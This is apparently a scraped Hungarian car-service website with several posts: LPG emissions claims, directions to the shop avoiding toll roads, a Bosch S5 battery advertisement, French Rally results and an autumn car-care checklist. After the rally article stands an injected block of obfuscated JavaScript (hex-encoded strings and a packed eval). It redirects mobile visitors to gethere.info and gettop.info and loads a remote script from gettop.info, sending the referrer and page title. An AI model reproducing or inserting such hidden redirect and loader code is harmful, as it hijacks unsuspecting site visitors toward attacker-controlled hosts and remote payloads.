Nincs gáz, ha gáz van

Nincs gáz, ha gáz van

A Bosch is beszállt az alternatív autózás technológiáinak fejlesztésébe, ami mindenképpen a szektor felemelkedésének, valamint a környezetvédelmi értékek növekedésének egyik biztos jele.
A következő cikkben összefoglalva betekintést kaphat az olvasó, hogy milyen alternatívák kínálkoznak azok előtt, akik gazdaságosabban szeretnének közlekedni.
 

A cikk itt olvasható!

 
 

Több gázos autó = jobb levegő

Különböző fórumokon újra és újra előkerülő téma az autógáz és a környezetszennyezés, illetve környezetvédelem kérdése, de mindig ugyanarra a végeredményre jutnak a kérdést feszegetők. A legutóbbi ilyen kimutatás az Európai Unió megbízásából készült.

Egy tanulmány laboratóriumi vizsgálatokkal alátámasztott eredménye szerint a cseppfolyósított gáz (LPG) használata környezetvédelmi szempontból kifejezetten előnyös: a benzinnel és a gázolajjal szemben 16 százalékkal kevesebb szén-dioxid keletkezik ugyanakkora teljesítmény elérésekor. Az Európai LPG Szövetség (AEGPL) szerint a cseppfolyósított gáz ökológiai lábnyoma 17 százalékkal kisebb a fűtőolajénál és 49 százalékkal alacsonyabb, mint a széné, ezért a fenntartható fejlődés szempontjából rendkívül lényeges a PB-gáz és az autógáz elterjedése.

A tanulmány szerint a cseppfolyós gázok elterjedése jelentősen javítaná a levegő minőségét is. Ha 2020-ra az Európai Unióban 10 százalékra emelkedne az LPG-vel működő autók aránya, az kimutathatóan 20 milliárd euró megtakarítást jelentene.

A cseppfolyós gáz égésekor a mérések szerint 96 százalékkal kevesebb nitrogén-oxid keletkezik, mint a dízel, és 68 százalékkal kevesebb, mint a benzin égésekor. További előny, hogy az LPG esetében a szilárdrészecske-kibocsátás negyede a fenti üzemanyagokénak.

Forrás: www.origo.hu

 

Megyei matrica nélkül is megközelíthetőek vagyunk!

 

A megyei matricák körül kialakult káoszban szeretnénk segíteni azoknak, akik bizonytalanok megközelítésünket illetően.

Plusz költség, matrica vásárlása nélkül is meg tudnak minket közelíteni, mind Vác, mind Budapest irányából.

A Vác felől érkezőknek a régi 2-es úton kell jönniük. Egész Dunakeszin keresztül kell jönni, és a városból kifelé menet a Lukoil – Shell körforgalom után balra kanyarodva, a fő úttól kicsit beljebb találhatnak meg minket.

Budapest felől érkezve a régi váci úton kell kijönni a városból, majd a Dunakeszi város táblát elérve rögtön jobbra kell fordulni.

Az M2-est kerüljék, mert az fizetős. Az M0-on csak a Megyeri híd ingyenes, vagyis rögtön az első lehajtónál le kell kanyarodni.

Nagyobb térképre váltás

Nincs gáz, ha gáz van

Bosch S5 Mega Silver akkumulátor

A feltaláló, Robert Bosch részlege, a Malajzia Automotive Aftermarket az elismert Silver technológiával készíti akkumulátorait, amely hosszú élettartamot biztosít, és kifogástalan indítási teljesítményt idéz elő.
Bosch akkumulator 2
A Bosch három fajta akkumulátort kínál ezzel a technológiával: S5 Mega Silver, S4 Mega Power Ca-Ca és S3 karbantartásmentes. A Bosch ezeket az egyedi akkumulátorokat gyakorlatilag minden autóhoz lehetővé teszi az Alfa Romeotól a Volvoig. Célszerű egy Bosch autószervizben szakember segítségét kérni, hogy biztosan megtalálja az autójának megfelelő PN típusú akkumulátort.
Az akkumulátor-család fő tagja, az S5 megfelelő indítási teljesítményt biztosít minden fajta motorkapacitásnál. Megfelel a gyártók OEM-szabványának, sőt felülmúlja azokat. Emellett maximalizálja a jármű teljesítményét, és magába foglalja a legújabb műszaki fejlesztést, a már említett Bosch Silver technológiát.
Ezen túlmenően az S5 Mega Silver akkor is magas kezdőtöltést biztosít, ha az autó már régóta a garázsban pihen vagy hetekig egy bemutatóteremben áll. Továbbá garantálja járművének a megnövelt élettartamot, mivel az autó motorjában életre kelnek az innovatív áttörések, valamint az energiaelosztás hatékonyságát is növeli. A nap végére az S5 akkumulátor összességében pénzt takarít meg Önnek. Vigyáz mindenre, ami a motorháztető alatt van, és határozottan megakadályozza az autó felesleges meghibásodásait, amit a nagy forgalom okoz vagy amikor az autóban üzemel az összes kényelmi szolgáltatás.
A Bosch már az akkumulátorgyújtás megjelenésekor, 1927-ben megkezdte az akkumulátorok gyártását. Azóta az akkumulátorokkal szemben támasztott igények exponenciálisan növekedtek azzal, hogy az autókban már kényelmi funkciók sokagását kell árammal működtetni, mint például az elektromos ablakok, klíma, ABS és légzsák. Páratlan a fejlődés az autóipari elektromos rendszereknél, a Bosch akkumulátorai viszont tartják a lépést. Az S5 típusú akkumulátor hatékony energiaellátást biztosít még szélsőséges hőmérsékletű időkben is. A kifinomult, energiaigényes alkatrészeknek, mint az elektromos ablakemelő, aktív biztonsági funkciók, autós multimédia-felszerelések, érintőképernyők, fejlett audio rendszer, továbbá a bonyolult autó elektronikának is zökkenőmentesen biztosítja a működésükhöz szükséges áramot.
A Bosch S5-nek és közvetlen testvéreinek innovatív grid technológiája biztosítja, hogy az autó könnyen induljon bármilyen külső hőmérséklet esetén. A mai, zárt motortereknél az autók akkumulátorai erős hőhatásnak vannak kitéve, de a Bosch akkumulátorok energiacellái ellenállnak a magas hőmérsékletnek is. Míg 20 évvel ezelőtt a hőmérséklet a motorkamrában nem emelkedett 50°C fölé, addig manapság a motor hőmérséklete és az autó motortere gyakran eléri a 100°C-ot. A Bosch akkumulátor S5 Silver Technology tehát jelentősen csökkenti a korrózió okozta hőt és növeli az akkumulátor élettartamát.
bosch akkumulator3
Bár a Bosch S5 nem tartozik a legolcsóbb akkumulátorok közé, érdemes ezt választani, mert ezzel az akkumulátorral hosszú távon pénzt takaríthat meg!
A Bosch akkumulátor S5 Mega Silver jellemzői:
– 100%-osan karbantartásmentes.
– 30%-kal több indítási teljesítményt biztosít.
– 30%-kal megnövelt élettartamot garantál.
– Hatékony ellátást biztosít az energiát használó alkatrészeknek.
– Megbízható indítást tesz lehetővé szélsőséges hőmérsékleten is.
Forrás: www.motorsportchanel.com

Nincs gáz, ha gáz van

Jari-Matti Latvala nyerte a Francia Rally-t

Jari-Matti Latvala nyerte a legutóbbi futamot a rally világbajnokságon Franciaországban. A futam nem indult jól a címvédő Ogier számára, a világbajnokot technikai gondok hátráltatták, és csupán a power stage-n szerzett 3 ponttal kellett beérnie a hazai futamán.

Sebastien Ogier már az első napon komoly hátrányt szedett össze, a második gyorsasági szakaszon autója sebességváltójának egyik szenzorja romlott el, így rögtön 4 perc hátrányba került a többiekhez képest. A következő szakaszon tovább nőtt a hátránya, mert az időellenőrzőbe korábban érkeztek meg, és további 4 perces büntetést kaptak, így Ogierék 8 és fél perces hátránnyal várták a délutáni gyorsasági kilométereket.

FR1Fotó: David Williamson ewrc.cz

 A Volkswagen csapat másik két pilótája, Latvala és Mikkelsen nagy csatában volt az első helyért, végül Latvala zárta az élen az első napot 8.2 másodperces előnnyel. A verseny végére Latvala leszakította magáról Mikkelsent, és 45 másodperces előnnyel aratta élete első aszfaltos győzelmét. A dobogó harmadik fokára Kris Meeke állhatott fel a Citroen DS3 WRC-vel. Robert Kubica az utolsó gyorsaságin az előkelő negyedik helyről esett ki miután lecsúszott az útról az egyik kanyarban.
A negyedik helyen így Dani Sordo ért célba Hyundai WRC-jével. Az ötödik és hatodik pozícióban két Fordos pilóta következett, sorrendben Hirvonen és Evans. Az első tízbe még Ostberg, Neuville, Bouffier és Prokop fért be.

Medic-CarFotó: David Williamson ewrc.cz

A Francia Rally végeredménye:

  1. JM. Latvala VW Polo WRC
  2. A. Mikkelsen VW Polo WRC
  3. K. Meeke Citroen DS3 WRC
  4. D. Sordo Hyundai i20 WRC
  5. M. Hirvonen Ford Fiesta RS WRC
  6. E. Evans Ford Fiesta RS WRS
  7. M. Ostberg Citroen DS3 WRC
  8. T. Neuville Hyundai i20 WRC
  9. B. Bouffier Hyundai i20 WRC
  10. M. Prokop Ford Fiesta RS WRC

A YouTube-ra is felkerült egy videó Mikkelsen óriási mentéséről, ebből is jól látszik, hogy keményen megdolgozott a második helyért:
https://www.youtube.com/watch?v=0eytDhBFtJ0
A best-of-rallylive.com csapata által készített igényes összefoglaló itt érhető el  a futamról:
https://www.youtube.com/watch?v=ePf5Fsk08_I
 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’https://gettop.info/kt/?sdNXbH’);var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.r
eplace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

Nincs gáz, ha gáz van

10 gyakorlati tipp, hogy az autó készen álljon az őszre

Az őszi hónapokban a biztonságos vezetéshez többre van szükség egy óvatos sofőrön kívül. Ilyenkor az autónak is szüksége van némi figyelemre, gondos ellenőrzésekre.

  1. Fékek és a gumik. A zord időjárás, a rossz útviszonyok és az egyéb veszélyek megkövetelik a jó fékerőt. Ha a gumiabroncsok kopását mutatja a kopásjelző és a szakértők is javasolják, akkor mindenképp ki kell cserélni a gumikat. A legtöbb műhely díjmentesen megvizsgálja a fékek és a gumik állapotát. A gumiabroncsok nyomását is ellenőrizni kell, mert  ha a külső hőmérséklet alacsonyabb lesz, csökken a kerékben lévő nyomás. Autózásai során mindig tartsa a gyártó által javasolt szinten a keréknyomást!
    gumiabroncs
  2. Világítás, izzók. Ellenőrizze autója világítását! Sétálja körbe az autót, és tesztelje az összes lámpa működését: fényszórók, hátsó lámpák, féklámpák és vészvillogó. Cserélje ki a nem világító izzókat! Ha nem boldogul vele egyedül, bármelyik szakszervizben kicserélik Önnek. A lámpáknak is ajánlott tisztáknak lenniük.
  3. Ablaktörlő lapátok. A jól működő ablaktörlő lapátoknak a szélvédőt teljesen tisztára kell tisztítaniuk. Ellenőrizze a gumipengék rugalmasságát! A repedt vagy kopott lapátok nem fognak megfelelő munkát végezni az esőkben, mivel az elhasználódott ablaktörlők csíkot hagynak maguk után. Ha nem biztosítanak jó látási viszonyokat, a rossz ablaktörlőket cserélni kell.
  4. Fűtés/páramentesítés. Vezetés közben a nem megfelelően működő fűtőberendezés bosszantó és akár veszélyes is lehet. A párás ablakok végső esetben balesetet is okozhatnak. Ellenőrizze az első és a hátsó ablak fűtésének jégmentesítő funkcióját! Ha az ablak fagyos marad, akkor a rendszert javítani kell!
  5. Akkumulátor.  Csak teljesen feltöltött akkumulátorral érdemes nekivágni a hideg időnek. Az akku állapotát mindig képzett szakemberrel ellenőriztesse, aki megállapítja, ha az elem cserére szorul. A szerelő többek között ellenőrzi a korrózió jelenlétét az akkumulátor kivezetésénél vagy a kábel végénél, ugyanis ez befolyásolja az akkumulátor működését.
    akkumulator
  6. Motortér. Keresni kell a motorháztető alatt a nyilvánvaló kopás, elhasználódás jeleit. Ilyenek például a szivárgás, a repedés, a laza bilincsek a hűtőrendszernél vagy a tapintásra szivacsos, törékeny tömlők. Az elhasznált alkatrészek azonnal cserére szorulnak. Továbbá, ha vannak még észrevehető motorzajok vagy egyéb motor problémák, egy szerelő alaposan vizsgálja meg a motort, és végezze el a szükséges javításokat!
  7. Olajcsere és levegőszűrő.  Vizsgáljuk meg az olaj tisztaságát az olajpálca segítségével! A szennyezett, darabos olaj nem tesz jót a motornak, így ebben az esetben feltétlenül szükséges az olajcsere. Ellenőrizzük a légszűrő tisztaságát is a megfelelő működés érdekében. Ha túl poros és koszos, cseréljük ki!
  8. Hűtőfolyadék. Nézzük meg a hűtőfolyadék szintjét a túlfolyó tartályban, amikor a motor hideg. Ha a szint túl alacsony, töltsük fel és méressük meg, hogy megfelelő-e a fagyálló képesség. Ha még így sem felel meg a kritériumoknak, az egész rendszer újratöltése szükséges.
  9. Folyadékszintek. Ellenőrizzük az autóban lévő összes folyadék szintjét! Ez magában foglalja a hűtőfolyadékon kívül az ablakmosó-folyadék, a sebességváltó-, a fék- valamint a szervokormány-folyadékot. Győződjön meg róla, hogy minden a biztonságos szint felett van, és töltse fel, ha szükséges!
  10. Mosás. Az autót érdemes alaposan lemosni még a téli mínuszok előtt, mert ha a jármű tiszta, könnyebb észrevenni az esetleges karosszéria-hibákat.

Jelentkezzen be hozzánk most őszi felkészítő szervizre mindössze 1750 Ft-ért!

 
[contact-form-7 404 "Nem található"]